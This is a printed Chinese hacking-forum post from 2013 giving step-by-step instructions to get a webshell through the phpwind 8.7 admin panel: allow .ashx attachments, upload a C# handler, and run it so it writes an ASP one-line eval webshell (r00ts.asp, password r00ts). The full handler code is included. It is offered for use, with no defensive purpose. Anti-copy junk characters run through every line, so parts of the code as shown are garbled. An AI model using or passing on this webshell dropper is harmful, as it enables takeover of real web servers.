中国网络渗透测试联盟

标题: phpwind 8.7 后台拿shell [打印本页]

作者: admin    时间: 2013-7-26 12:41
标题: phpwind 8.7 后台拿shell
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
" \) A; X( I2 j5 \  m ) u, a1 \3 A; ^" ^8 G
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
' g) {- Q) i6 ~4 V, \/ j( O3 R . ]& h9 u" M) U3 V  b
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
! Q0 H5 B( A7 E7 V5 _: l
: ]! F) L# L) q/ ?  v% D然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
" q9 P6 p4 l1 o$ }3 J - F5 H; X7 Q! x5 @4 @, c. |
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
' ?% e+ d, H3 i' T8 v" h
7 W& C+ E0 s2 O下面是代码:
6 `: R" \; A3 f0 w 2 b5 G8 }# I. J* e: Z
<%@ WebHandler Language="C#"Class="Handler" %>
& D7 J; S% r% B: gusing System;! O, b+ H9 {4 v, @
using System.Web;
6 a# }$ D1 [5 r7 ~% O1 Kusing System.IO;
) o" L3 }% d& n  f& q9 v, @& \5 s2 opublic class Handler : IHttpHandler {
6 @+ z. O. n7 x8 _7 epublic void ProcessRequest (HttpContext context) {
+ h/ D2 Z# j$ Fcontext.Response.ContentType = "text/plain";) ~3 G& ^0 e0 H
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));' ~2 h% `* c4 q) c  i6 C! i
file1.Write("<%eval request(\"r00ts\")%>");
8 ]- P; a! b, t: D$ U+ Lfile1.Flush();
' |" a8 E( Z# ]5 r% Yfile1.Close();* Q" A0 M9 b7 M- N
}" i' o2 N0 I9 z& H: s  ^, {# ^
public bool IsReusable {( m0 O* o7 }" M* z# l
get {6 c# H! c  E3 m
return false;0 a( {- ]9 t* N/ I
}2 {4 E7 R- _, Q2 b/ |+ x
}: O  U# R' z: b: e! @
}
' O" m4 K8 N1 @, z9 y- B




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2